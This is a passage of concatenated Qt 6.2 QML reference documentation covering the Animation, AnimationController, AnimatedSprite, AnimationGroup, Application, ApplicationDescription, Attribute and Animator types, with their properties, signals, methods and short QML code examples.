Rectangle {
    width: 100; height: 100; color: "green"
    RotationAnimation on rotation {
        loops: Animation.Infinite
        from: 0
        to: 360
    }
}
```
 ###  paused : [bool](qml-bool)

 This property holds whether the animation is currently paused.

 The `paused` property can be set to declaratively control whether or not an animation is paused.

 Animations can also be paused and resumed imperatively from JavaScript using the `pause()` and `resume()` methods.

 By default, animations are not paused.

 ###  running : [bool](qml-bool)

 This property holds whether the animation is currently running.

 The `running` property can be set to declaratively control whether or not an animation is running. The following example will animate a rectangle whenever the [MouseArea](qml-qtquick-mousearea) is pressed.

 
```
Rectangle {
    width: 100; height: 100
    NumberAnimation on x {
        running: myMouse.pressed
        from: 0; to: 100
    }
    MouseArea { id: myMouse }
}
```
 Likewise, the `running` property can be read to determine if the animation is running. In the following example the Text item will indicate whether or not the animation is running.

 
```
NumberAnimation { id: myAnimation }
Text { text: myAnimation.running ? "Animation is running" : "Animation is not running" }
```
 Animations can also be started and stopped imperatively from JavaScript using the `start()` and `stop()` methods.

 By default, animations are not running. Though, when the animations are assigned to properties, as property value sources using the *on* syntax, they are set to running by default.

 Signal Documentation
--------------------

 ###  `[since 5.12]` finished()

 This signal is emitted when the animation has finished naturally.

 It is not emitted when [running](qml-qtquick-animation#running-prop) is set to `false`, nor for animations whose [loops](qml-qtquick-animation#loops-prop) property is set to `Animation.Infinite`.

 In addition, it is only emitted for top-level, standalone animations. It will not be emitted for animations in a Behavior or Transition, or animations that are part of an animation group.

 If [alwaysRunToEnd](qml-qtquick-animation#alwaysRunToEnd-prop) is true, this signal will not be emitted until the animation has completed its current iteration.

 **Note:** The corresponding handler is `onFinished`.

 This signal was introduced in Qt 5.12.

 **See also** [stopped](qml-qtquick-animation#stopped-signal)(), [started](qml-qtquick-animation#started-signal)(), and [running](qml-qtquick-animation#running-prop).

 ###  started()

 This signal is emitted when the animation begins.

 It is only triggered for top-level, standalone animations. It will not be triggered for animations in a Behavior or Transition, or animations that are part of an animation group.

 **Note:** The corresponding handler is `onStarted`.

 ###  stopped()

 This signal is emitted when the animation ends.

 The animation may have been stopped manually, or may have run to completion.

 It is only triggered for top-level, standalone animations. It will not be triggered for animations in a Behavior or Transition, or animations that are part of an animation group.

 If [alwaysRunToEnd](qml-qtquick-animation#alwaysRunToEnd-prop) is true, this signal will not be emitted until the animation has completed its current iteration.

 **Note:** The corresponding handler is `onStopped`.

 Method Documentation
--------------------

 ###  complete()

 Stops the animation, jumping to the final property values

 If the animation is not running, calling this method has no effect. The `running` property will be false following a call to `complete()`.

 Unlike `stop()`, `complete()` immediately fast-forwards the animation to its end. In the following example,

 
```
Rectangle {
    NumberAnimation on x { from: 0; to: 100; duration: 500 }
}
```
 calling `stop()` at time 250ms will result in the `x` property having a value of 50, while calling `complete()` will set the `x` property to 100, exactly as though the animation had played the whole way through.

 ###  pause()

 Pauses the animation

 If the animation is already paused or not `running`, calling this method has no effect. The `paused` property will be true following a call to `pause()`.

 ###  restart()

 Restarts the animation

 This is a convenience method, and is equivalent to calling `stop()` and then `start()`.

 ###  resume()

 Resumes a paused animation

 If the animation is not paused or not `running`, calling this method has no effect. The `paused` property will be false following a call to `resume()`.

 ###  start()

 Starts the animation

 If the animation is already running, calling this method has no effect. The `running` property will be true following a call to `start()`.

 ###  stop()

 Stops the animation

 If the animation is not running, calling this method has no effect. Both the `running` and `paused` properties will be false following a call to `stop()`.

 Normally `stop()` stops the animation immediately, and the animation has no further influence on property values. In this example animation

 
```
Rectangle {
    NumberAnimation on x { from: 0; to: 100; duration: 500 }
}
```
 was stopped at time 250ms, the `x` property will have a value of 50.

 However, if the `alwaysRunToEnd` property is set, the animation will continue running until it completes and then stop. The `running` property will still become false immediately.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-animation.html>

AnimationController QML Type
============================

 A controller type for animations. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Animation |
|  Since: |  Qt 5.9 |
|  Instantiates: | [QAnimationController](qt3danimation-qanimationcontroller) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-animation-animationcontroller-members.html)

 Properties
----------

 * **[activeAnimationGroup](qml-qt3d-animation-animationcontroller#activeAnimationGroup-prop)** : int
* **[animationGroups](qml-qt3d-animation-animationcontroller#animationGroups-prop)** : list<AnimationGroup>
* **[entity](qml-qt3d-animation-animationcontroller#entity-prop)** : Entity
* **[position](qml-qt3d-animation-animationcontroller#position-prop)** : real
* **[positionOffset](qml-qt3d-animation-animationcontroller#positionOffset-prop)** : real
* **[positionScale](qml-qt3d-animation-animationcontroller#positionScale-prop)** : real
* **[recursive](qml-qt3d-animation-animationcontroller#recursive-prop)** : bool

 Methods
-------

 * int **[getAnimationIndex](qml-qt3d-animation-animationcontroller#getAnimationIndex-method)**(*name*)
* AnimationGroup **[getGroup](qml-qt3d-animation-animationcontroller#getGroup-method)**(*index*)

 Detailed Description
--------------------

 AnimationController type controls the selection and playback of animations. The type can be used to find all animations from Entity tree and create [AnimationGroups](qml-qt3d-animation-animationgroup) from the animations with the same name. The user can select which animation group is currently controlled with the animation controller by setting the active animation. The animation position is then propagated to that group after scaling and offsetting the provided position value with the [positionScale](qml-qt3d-animation-animationcontroller#positionScale-prop) and [positionOffset](qml-qt3d-animation-animationcontroller#positionOffset-prop) values.

  **Note:** that the animation controller doesn't have internal timer, but instead the user is responsible for updating the position property in timely manner.

  Property Documentation
----------------------

 ###  activeAnimationGroup : [int](qml-int)

 Holds the currectly active animation group.

 ###  animationGroups : [list](qml-list)<[AnimationGroup](qml-qt3d-animation-animationgroup)>

 Holds the list of animation groups in the controller.

 ###  entity : [Entity](qml-qt3d-core-entity)

 Holds the entity animations are gathered and grouped from. If the controller already holds animations, they are cleared.

 ###  position : [real](qml-real)

 Holds the current position of the animation. When the position is set, it is scaled and offset with [positionScale](qml-qt3d-animation-animationcontroller#positionScale-prop)/[positionOffset](qml-qt3d-animation-animationcontroller#positionOffset-prop) and propagated to the active animation group.

 ###  positionOffset : [real](qml-real)

 Holds the position offset of the animation.

 ###  positionScale : [real](qml-real)

 Holds the position scale of the animation.

 ###  recursive : [bool](qml-bool)

 Holds whether the recursively search the entity tree when gathering animations from the entity. If set to true, the animations are searched also from the child entities of the entity. If set to false, only the entity passed to the controller is searched.

 Method Documentation
--------------------

 ###  [int](qml-int) getAnimationIndex(*name*)

 Returns the index of the animation with *name*. Returns -1 if no [AnimationGroup](qml-qt3d-animation-animationgroup) with the given name is found.

 ###  [AnimationGroup](qml-qt3d-animation-animationgroup) getGroup(*index*)

 Returns the [AnimationGroup](qml-qt3d-animation-animationgroup) with the given *index*.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-animation-animationcontroller.html>

AnimatedSprite QML Type
=======================

 Draws a sprite animation. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |
|  Inherits: | [Item](qml-qtquick-item) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-animatedsprite-members.html)

 Properties
----------

 * **[currentFrame](qml-qtquick-animatedsprite#currentFrame-prop)** : int
* **[finishBehavior](qml-qtquick-animatedsprite#finishBehavior-prop)** : enumeration
* **[frameCount](qml-qtquick-animatedsprite#frameCount-prop)** : int
* **[frameDuration](qml-qtquick-animatedsprite#frameDuration-prop)** : int
* **[frameHeight](qml-qtquick-animatedsprite#frameHeight-prop)** : int
* **[frameRate](qml-qtquick-animatedsprite#frameRate-prop)** : qreal
* **[frameSync](qml-qtquick-animatedsprite#frameSync-prop)** : bool
* **[frameWidth](qml-qtquick-animatedsprite#frameWidth-prop)** : int
* **[frameX](qml-qtquick-animatedsprite#frameX-prop)** : int
* **[frameY](qml-qtquick-animatedsprite#frameY-prop)** : int
* **[interpolate](qml-qtquick-animatedsprite#interpolate-prop)** : bool
* **[loops](qml-qtquick-animatedsprite#loops-prop)** : int
* **[paused](qml-qtquick-animatedsprite#paused-prop)** : bool
* **[reverse](qml-qtquick-animatedsprite#reverse-prop)** : bool
* **[running](qml-qtquick-animatedsprite#running-prop)** : bool
* **[source](qml-qtquick-animatedsprite#source-prop)** : url

 Signals
-------

 * **[finished](qml-qtquick-animatedsprite#finished-signal)**()

 Methods
-------

 * int **[advance](qml-qtquick-animatedsprite#advance-method)**()
* int **[pause](qml-qtquick-animatedsprite#pause-method)**()
* int **[restart](qml-qtquick-animatedsprite#restart-method)**()
* int **[resume](qml-qtquick-animatedsprite#resume-method)**()
* **[start](qml-qtquick-animatedsprite#start-method)**()
* **[stop](qml-qtquick-animatedsprite#stop-method)**()

 Detailed Description
--------------------

 AnimatedSprite provides rendering and control over animations which are provided as multiple frames in the same image file. You can play it at a fixed speed, at the frame rate of your display, or manually advance and control the progress.

 Consider the following sprite sheet:

 ![]


It can be divided up into four frames:

 ![]


To play each of these frames at a speed of 500 milliseconds per frame, the following code can be used:

 

| Code | Result |
| --- | --- |
| 
```
AnimatedSprite {
    source: "loading.png"
    frameWidth: 64
    frameHeight: 64
    frameCount: 4
    frameDuration: 500
}
```
 |        |

 By default, the frames are interpolated (blended together) to make the animation appear smoother. To disable this, set [interpolate](qml-qtquick-animatedsprite#interpolate-prop) to `false`:

 

| Code | Result |
| --- | --- |
| 
```
AnimatedSprite {
    source: "loading.png"
    frameWidth: 64
    frameHeight: 64
    frameCount: 4
    frameDuration: 500
    interpolate: false
}
```
 |  |

 To control how AnimatedSprite responds to being scaled, use the [smooth](qml-qtquick-item#smooth-prop) property.

 Note that unlike [SpriteSequence](qml-qtquick-spritesequence), the AnimatedSprite type does not use [Sprite](qml-qtquick-sprite) to define multiple animations, but instead encapsulates a single animation itself.

 **See also** [Sprite Animations](qtquick-effects-sprites).

 Property Documentation
----------------------

 ###  currentFrame : [int](qml-int)

 When paused, the current frame can be advanced manually by setting this property or calling [advance](qml-qtquick-animatedsprite#advance-method)().

 ###  finishBehavior : [enumeration](qml-enumeration)

 The behavior when the animation finishes on its own.

 

| Constant | Description |
| --- | --- |
| `FinishAtInitialFrame` | When the animation finishes it returns to the initial frame. This is the default behavior. |
| `FinishAtFinalFrame` | When the animation finishes it stays on the final frame. |

 ###  frameCount : [int](qml-int)

 Number of frames in this [AnimatedSprite](qml-qtquick-animatedsprite).

 ###  frameDuration : [int](qml-int)

 Duration of each frame of the animation in milliseconds. Values less than or equal to `0` are invalid.

 If [frameRate](qml-qtquick-animatedsprite#frameRate-prop) is valid, it will be used to calculate the duration of the frames. If not, and frameDuration is valid, `frameDuration` will be used.

 Changing this parameter will restart the animation.

 ###  frameHeight : [int](qml-int)

 Height of a single frame in this [AnimatedSprite](qml-qtquick-animatedsprite).

 May be omitted if it is the only sprite in the file.

 ###  frameRate : qreal

 Frames per second to show in the animation. Values less than or equal to `0` are invalid.

 If `frameRate` is valid, it will be used to calculate the duration of the frames. If not, and [frameDuration](qml-qtquick-animatedsprite#frameDuration-prop) is valid, `frameDuration` will be used.

 Changing this parameter will restart the animation.

 ###  frameSync : [bool](qml-bool)

 If `true`, the animation will have no duration. Instead, the animation will advance one frame each time a frame is rendered to the screen. This synchronizes it with the painting rate as opposed to elapsed time.

 If frameSync is set to true, it overrides both [frameRate](qml-qtquick-animatedsprite#frameRate-prop) and [frameDuration](qml-qtquick-animatedsprite#frameDuration-prop).

 Default is `false`.

 Changing this parameter will restart the animation.

 ###  frameWidth : [int](qml-int)

 Width of a single frame in this [AnimatedSprite](qml-qtquick-animatedsprite).

 May be omitted if it is the only sprite in the file.

 ###  frameX : [int](qml-int)

 The X coordinate in the image file of the first frame of the [AnimatedSprite](qml-qtquick-animatedsprite).

 May be omitted if the first frame starts in the upper left corner of the file.

 ###  frameY : [int](qml-int)

 The Y coordinate in the image file of the first frame of the [AnimatedSprite](qml-qtquick-animatedsprite).

 May be omitted if the first frame starts in the upper left corner of the file.

 ###  interpolate : [bool](qml-bool)

 If true, interpolation will occur between sprite frames to make the animation appear smoother.

 Default is true.

 ###  loops : [int](qml-int)

 After playing the animation this many times, the animation will automatically stop. Negative values are invalid.

 If this is set to `AnimatedSprite.Infinite` the animation will not stop playing on its own.

 Default is `AnimatedSprite.Infinite`

 ###  paused : [bool](qml-bool)

 When paused, the current frame can be advanced manually.

 Default is `false`.

 ###  reverse : [bool](qml-bool)

 If `true`, the animation will be played in reverse.

 Default is `false`.

 ###  running : [bool](qml-bool)

 Whether the sprite is animating or not.

 Default is true

 ###  source : [url](qml-url)

 The image source for the animation.

 If [frameHeight](qml-qtquick-animatedsprite#frameHeight-prop) and [frameWidth](qml-qtquick-animatedsprite#frameWidth-prop) are not specified, it is assumed to be a single long row of square frames. Otherwise, it can be multiple contiguous rows or rectangluar frames, when one row runs out the next will be used.

 If [frameX](qml-qtquick-animatedsprite#frameX-prop) and [frameY](qml-qtquick-animatedsprite#frameY-prop) are specified, the row of frames will be taken with that x/y coordinate as the upper left corner.

 Signal Documentation
--------------------

 ###  `[since 5.12]` finished()

 This signal is emitted when the sprite has finished animating.

 It is not emitted when running is set to `false`, nor for sprites whose [loops](qml-qtquick-animatedsprite#loops-prop) property is set to `AnimatedSprite.Infinite`.

 **Note:** The corresponding handler is `onFinished`.

 This signal was introduced in Qt 5.12.

 Method Documentation
--------------------

 ###  [int](qml-int) advance()

 Advances the sprite animation by one frame.

 ###  [int](qml-int) pause()

 Pauses the sprite animation. This does nothing if [paused](qml-qtquick-animatedsprite#paused-prop) is `true`.

 **See also** [resume](qml-qtquick-animatedsprite#resume-method)().

 ###  [int](qml-int) restart()

 Stops, then starts the sprite animation.

 ###  [int](qml-int) resume()

 Resumes the sprite animation if [paused](qml-qtquick-animatedsprite#paused-prop) is `true`; otherwise, this does nothing.

 **See also** [pause](qml-qtquick-animatedsprite#pause-method)().

 ###  `[since 5.15]` start()

 Starts the sprite animation. If the animation is already running, calling this method has no effect.

 This method was introduced in Qt 5.15.

 **See also** [stop](qml-qtquick-animatedsprite#stop-method)().

 ###  `[since 5.15]` stop()

 Stops the sprite animation. If the animation is not running, calling this method has no effect.

 This method was introduced in Qt 5.15.

 **See also** [start](qml-qtquick-animatedsprite#start-method)().



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-animatedsprite.html>

AnimationController QML Type
============================

 Enables manual control of animations. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-animationcontroller-members.html)

 Properties
----------

 * **[animation](qml-qtquick-animationcontroller#animation-prop)** : Animation
* **[progress](qml-qtquick-animationcontroller#progress-prop)** : real

 Methods
-------

 * **[completeToBeginning](qml-qtquick-animationcontroller#completeToBeginning-method)**()
* **[completeToEnd](qml-qtquick-animationcontroller#completeToEnd-method)**()
* **[reload](qml-qtquick-animationcontroller#reload-method)**()

 Detailed Description
--------------------

 Normally animations are driven by an internal timer, but the AnimationController allows the given *animation* to be driven by a *progress* value explicitly.

 Property Documentation
----------------------

 ###  [default] animation : [Animation](qml-qtquick-animation)

 This property holds the animation to be controlled by the [AnimationController](qml-qtquick-animationcontroller).

 Note:An animation controlled by [AnimationController](qml-qtquick-animationcontroller) will always have its `running` and `paused` properties set to true. It can not be manually started or stopped (much like an animation in a Behavior can not be manually started or stopped).

 ###  progress : [real](qml-real)

 This property holds the animation progress value.

 The valid `progress` value is 0.0 to 1.0, setting values less than 0 will be converted to 0, setting values great than 1 will be converted to 1.

 Method Documentation
--------------------

 ###  completeToBeginning()

 Finishes running the controlled animation in a backwards direction.

 After calling this method, the animation runs normally from the current progress point in a backwards direction to the beginning state.

 The animation controller's progress value will be automatically updated while the animation is running.

 **See also** [completeToEnd](qml-qtquick-animationcontroller#completeToEnd-method)() and [progress](qml-qtquick-animationcontroller#progress-prop).

 ###  completeToEnd()

 Finishes running the controlled animation in a forwards direction.

 After calling this method, the animation runs normally from the current progress point in a forwards direction to the end state.

 The animation controller's progress value will be automatically updated while the animation is running.

 **See also** [completeToBeginning](qml-qtquick-animationcontroller#completeToBeginning-method)() and [progress](qml-qtquick-animationcontroller#progress-prop).

 ###  reload()

 Reloads the animation properties

 If the animation properties changed, calling this method to reload the animation definations.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-animationcontroller.html>

AnimationGroup QML Type
=======================

 A type grouping animations together. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Animation |
|  Since: |  Qt 5.9 |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-animation-animationgroup-members.html)

 Properties
----------

 * **[animations](qml-qt3d-animation-animationgroup#animations-prop)** : list<AbstractAnimation>
* **[duration](qml-qt3d-animation-animationgroup#duration-prop)** : real
* **[name](qml-qt3d-animation-animationgroup#name-prop)** : string
* **[position](qml-qt3d-animation-animationgroup#position-prop)** : real

 Detailed Description
--------------------

 AnimationGroup type is used to group multiple animations so that they can act as one animation. The position set to the group is also set to all animations in a group. The duration is the maximum of the individual animations. The animations can be any supported animation type and do not have to have the same name.

 Property Documentation
----------------------

 ###  animations : [list](qml-list)<[AbstractAnimation](qml-qt3d-animation-abstractanimation)>

 Holds the list of animations in the animation group.

 ###  [read-only] duration : [real](qml-real)

 Holds the maximum duration of the animations in the group.

 ###  name : [string](qml-string)

 Holds the name of the animation group.

 ###  position : [real](qml-real)

 Holds the animation position.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-animation-animationgroup.html>

Application QML Type
====================

 Provides access to global application state properties shared by many QML components. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-application-members.html)
* [Deprecated members](https://doc.qt.io/qt-6.2/qml-qtquick-application-obsolete.html)

 Properties
----------

 * **[arguments](qml-qtquick-application#arguments-prop)** : QStringList
* **[displayName](qml-qtquick-application#displayName-prop)** : QString
* **[domain](qml-qtquick-application#domain-prop)** : QString
* **[font](qml-qtquick-application#font-prop)** : QFont
* **[layoutDirection](qml-qtquick-application#layoutDirection-prop)** : Qt::LayoutDiretcion
* **[name](qml-qtquick-application#name-prop)** : QString
* **[organization](qml-qtquick-application#organization-prop)** : QString
* **[screens](qml-qtquick-application#screens-prop)** : QQmlListProperty<QQuickScreenInfo>
* **[state](qml-qtquick-application#state-prop)** : Qt::ApplicationState
* **[supportsMultipleWindows](qml-qtquick-application#supportsMultipleWindows-prop)** : bool
* **[version](qml-qtquick-application#version-prop)** : QString

 Signals
-------

 * **[aboutToQuit](qml-qtquick-application#aboutToQuit-signal)**()

 Detailed Description
--------------------

 The Application singleton exposes a subset of [QApplication](qapplication)'s properties to QML applications.

 It also provides an [aboutToQuit](qml-qtquick-application#aboutToQuit-signal)() signal, which is the same as [QCoreApplication::aboutToQuit](qcoreapplication#aboutToQuit)().

 
```
import QtQuick

Window {
    id: root
    visible: true
    width: 800
    height: 680

    title: `${Application.name} (${Application.version})`

    Connections {
        target: Application
        function onAboutToQuit() {
            console.log("Bye!")
        }
    }
}
```
 Property Documentation
----------------------

 ###  arguments : QStringList

 This is a string list of the arguments the executable was invoked with.

 ###  displayName : QString

 This property represents the application display name set on the [QGuiApplication](qguiapplication) instance. This property can be written to in order to set the application display name.

 
```
Binding {
    target: Application
    property: "displayName"
    value: "My Awesome Application"
}
```
 ###  domain : QString

 This is the organization domain set on the [QCoreApplication](qcoreapplication) instance. This property can be written to in order to set the organization domain.

 ###  font : QFont

 Returns the default application font as returned by [QGuiApplication::font](qguiapplication#font)().

 ###  layoutDirection : Qt::LayoutDiretcion

 This read-only property can be used to query the default layout direction of the application. On system start-up, the default layout direction depends on the application's language. The property has a value of `Qt.RightToLeft` in locales where text and graphic elements are read from right to left, and `Qt.LeftToRight` where the reading direction flows from left to right. You can bind to this property to customize your application layouts to support both layout directions.

 
```
RowLayout {
    layoutDirection: Application.layoutDirection
}
```
 ###  name : QString

 This is the application name set on the [QCoreApplication](qcoreapplication) instance. This property can be written to in order to set the application name.

 ###  organization : QString

 This is the organization name set on the [QCoreApplication](qcoreapplication) instance. This property can be written to in order to set the organization name.

 ###  screens : QQmlListProperty<QQuickScreenInfo>

 An array containing the descriptions of all connected screens. The elements of the array are objects with the same properties as the [Screen](qml-qtquick-screen) attached object. In practice the array corresponds to the screen list returned by [QGuiApplication::screens](qguiapplication#screens)(). In addition to examining properties like name, width, height, etc., the array elements can also be assigned to the screen property of Window items, thus serving as an alternative to the C++ side's [QWindow::setScreen](qwindow#setScreen)().

 **See also** [Screen](qml-qtquick-screen), [Window](qml-qtquick-window), and [Window.screen](qml-qtquick-window#screen-prop).

 ###  state : Qt::ApplicationState

 This property represents the current state of the application.

 
```
Timer {
    interval: 1000; repeat: true
    active: Application.state === Qt.Qt.ApplicationActive
    onTriggered: imageFetcher.fetchLatestImages()
}
```
 ###  supportsMultipleWindows : [bool](qml-bool)

 Returns `true` if the platform supports multiple windows. Some embedded platforms do not support multiple windows, for example.

 ###  version : QString

 This is the application version set on the [QCoreApplication](qcoreapplication) instance. This property can be written to in order to set the application version.

 Signal Documentation
--------------------

 ###  aboutToQuit()

 This signal is emitted when the application is about to quit the main event loop. The signal is particularly useful if your application has to do some last-secondcleanup. Note that no user interaction is possible in this state.

 **Note:** The corresponding handler is `onAboutToQuit`.

 **See also** [QCoreApplication::aboutToQuit](qcoreapplication#aboutToQuit).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-application.html>

ApplicationDescription QML Type
===============================

 The OPC UA ApplicationDescription. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtOpcUa |
|  Since: |  QtOpcUa 5.13 |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtopcua-applicationdescription-members.html)

 Properties
----------

 * **[ApplicationType](qml-qtopcua-applicationdescription#ApplicationType-prop)** : enumeration
* **[applicationName](qml-qtopcua-applicationdescription#applicationName-prop)** : LocalizedText
* **[applicationType](qml-qtopcua-applicationdescription#applicationType-propx)** : ApplicationType
* **[applicationUri](qml-qtopcua-applicationdescription#applicationUri-prop)** : string
* **[discoveryProfileUri](qml-qtopcua-applicationdescription#discoveryProfileUri-prop)** : string
* **[discoveryUrls](qml-qtopcua-applicationdescription#discoveryUrls-prop)** : list
* **[gatewayServerUri](qml-qtopcua-applicationdescription#gatewayServerUri-prop)** : string
* **[productUri](qml-qtopcua-applicationdescription#productUri-prop)** : string

 Detailed Description
--------------------

 The application description contains information about an OPC UA application.

 Property Documentation
----------------------

 ###  ApplicationType : [enumeration](qml-enumeration)

 The application type.

 

| Constant | Description |
| --- | --- |
| `Server` | This application is a server. |
| `Client` | This application is a client. |
| `ClientAndServer` | This application is a client and a server. |
| `DiscoveryServer` | This application is a discovery server. |

 ###  applicationName : [LocalizedText](qml-qtopcua-localizedtext)

 Name describing the application.

 ###  applicationType : ApplicationType

 The application's type: server, client, both, or discovery server.

 ###  applicationUri : [string](qml-string)

 The globally unique identifier for this application instance.

 ###  discoveryProfileUri : [string](qml-string)

 The URI of the supported discovery profile.

 ###  discoveryUrls : [list](qml-list)

 A list of URLs of discovery endpoints.

 ###  gatewayServerUri : [string](qml-string)

 The URI of the gateway server.

 ###  productUri : [string](qml-string)

 The globally unique identifier for this product.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtopcua-applicationdescription.html>

Attribute QML Type
==================

 Defines an attribute and how data should be read from a Buffer. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Core |
|  Instantiates: | [QAttribute](qt3dcore-qattribute) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-core-attribute-members.html)

 Detailed Description
--------------------

 There are 3 types of attributes.

 * VertexAttribute: used to define data to be read on a per vertex basis
* IndexAttribute: used to define vertex indices when indexed draw calls are to be used
* DrawIndirectAttribute: used to specify the DrawIndirect buffer to be used when indirect draw calls are to be used

  **Note:** when an attribute is of type DrawIndirectAttribute, only count, stride and offset are relevant.

  When providing your own attributes, it may make sense to name your attribute using helpers such as QAttribute::defaultPositionAttributeName() as that will ensure your geometry will be compatible with picking and the various materials provided in the [Qt3DExtras](https://doc.qt.io/qt-6.2/qt3dextras-module.html) module.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-core-attribute.html>

Animator QML Type
=================

 Is the base of all QML animators. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |
|  Since: |  Qt 5.2 |
|  Inherits: | [Animation](qml-qtquick-animation) |
|  Inherited By: | [OpacityAnimator](qml-qtquick-opacityanimator), [RotationAnimator](qml-qtquick-rotationanimator), [ScaleAnimator](qml-qtquick-scaleanimator), [UniformAnimator](qml-qtquick-uniformanimator), [XAnimator](qml-qtquick-xanimator), and [YAnimator](qml-qtquick-yanimator) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-animator-members.html)

 Properties
----------

 * **[duration](qml-qtquick-animator#duration-prop)** : int
* **[easing](qml-qtquick-animator#easing-prop)**
	+ **[easing.amplitude](qml-qtquick-animator#easing.amplitude-prop)** : real
	+ **[easing.bezierCurve](qml-qtquick-animator#easing.bezierCurve-prop)** : list<real>
	+ **[easing.overshoot](qml-qtquick-animator#easing.overshoot-prop)** : real
	+ **[easing.period](qml-qtquick-animator#easing.period-prop)** : real
	+ **[easing.type](qml-qtquick-animator#easing.type-prop)** : enumeration
* **[from](qml-qtquick-animator#from-prop)** : real
* **[target](qml-qtquick-animator#target-prop)** : QtQuick::Item
* **[to](qml-qtquick-animator#to-prop)** : real

 Detailed Description
--------------------

 Animator types are a special type of animation which operate directly on Qt Quick's scene graph, rather than the QML objects and their properties like regular Animation types do. This has the benefit that Animator based animations can animate on the [scene graph's rendering thread](qtquick-visualcanvas-scenegraph#threaded-render-loop-threaded) even when the UI thread is blocked.

 The value of the QML property will be updated after the animation has finished. The property is not updated while the animation is running.

 The Animator types can be used just like any other Animation type.

 
```
Rectangle {
    id: mixBox
    width: 50
    height: 50
    ParallelAnimation {
        ColorAnimation {
            target: mixBox
            property: "color"
            from: "forestgreen"
            to: "lightsteelblue";
            duration: 1000
        }
        ScaleAnimator {
            target: mixBox
            from: 2
            to: 1
            duration: 1000
        }
        running: true
    }
}
```
 If all sub-animations of [ParallelAnimation](qml-qtquick-parallelanimation) and [SequentialAnimation](qml-qtquick-sequentialanimation) are Animator types, the [ParallelAnimation](qml-qtquick-parallelanimation) and [SequentialAnimation](qml-qtquick-sequentialanimation) will also be treated as an Animator and be run on the scene graph's rendering thread when possible.

 The Animator types can be used for animations during transitions, but they do not support the [reversible](qml-qtquick-transition#reversible-prop) property.

 The Animator type cannot be used directly in a QML file. It exists to provide a set of common properties and methods, available across all the other animator types that inherit from it. Attempting to use the Animator type directly will result in an error.

 Property Documentation
----------------------

 ###  duration : [int](qml-int)

 This property holds the duration of the animation in milliseconds.

 The default value is 250.

 ###  easing.amplitude : [real](qml-real)

 Specifies the easing curve used for the animation

 To specify an easing curve you need to specify at least the type. For some curves you can also specify amplitude, period and/or overshoot (more details provided after the table). The default easing curve is `Easing.Linear`.

 
```
PropertyAnimation { properties: "y";
                    easing.type: Easing.InOutElastic;
                    easing.amplitude: 2.0;
                    easing.period: 1.5 }
```
 Available types are:

 

|  |  |  |
| --- | --- | --- |
| `Easing.Linear` | Easing curve for a linear (t) function: velocity is constant. |  |
| `Easing.InQuad` | Easing curve for a quadratic (t^2) function: accelerating from zero velocity. |  |
| `Easing.OutQuad` | Easing curve for a quadratic (t^2) function: decelerating to zero velocity. |  |
| `Easing.InOutQuad` | Easing curve for a quadratic (t^2) function: acceleration until halfway, then deceleration. |  |
| `Easing.OutInQuad` | Easing curve for a quadratic (t^2) function: deceleration until halfway, then acceleration. |  |
| `Easing.InCubic` | Easing curve for a cubic (t^3) function: accelerating from zero velocity. |  |
| `Easing.OutCubic` | Easing curve for a cubic (t^3) function: decelerating to zero velocity. |  |
| `Easing.InOutCubic` | Easing curve for a cubic (t^3) function: acceleration until halfway, then deceleration. |  |
| `Easing.OutInCubic` | Easing curve for a cubic (t^3) function: deceleration until halfway, then acceleration. |  |
| `Easing.InQuart` | Easing curve for a quartic (t^4) function: accelerating from zero velocity. |  |
| `Easing.OutQuart` | Easing curve for a quartic (t^4) function: decelerating to zero velocity. |  |
| `Easing.InOutQuart` | Easing curve for a quartic (t^4) function: acceleration until halfway, then deceleration. |  |
| `Easing.OutInQuart` | Easing curve for a quartic (t^4) function: deceleration until halfway, then acceleration. |  |
| `Easing.InQuint` | Easing curve for a quintic (t^5) function: accelerating from zero velocity. |  |
| `Easing.OutQuint` | Easing curve for a quintic (t^5) function: decelerating to zero velocity. |  |
| `Easing.InOutQuint` | Easing curve for a quintic (t^5) function: acceleration until halfway, then deceleration. |  |
| `Easing.OutInQuint` | Easing curve for a quintic (t^5) function: deceleration until halfway, then acceleration. |  |
| `Easing.InSine` | Easing curve for a sinusoidal (sin(t)) function: accelerating from zero velocity. |  |
| `Easing.OutSine` | Easing curve for a sinusoidal (sin(t)) function: decelerating to zero velocity. |  |
| `Easing.InOutSine` | Easing curve for a sinusoidal (sin(t)) function: acceleration until halfway, then deceleration. |  |
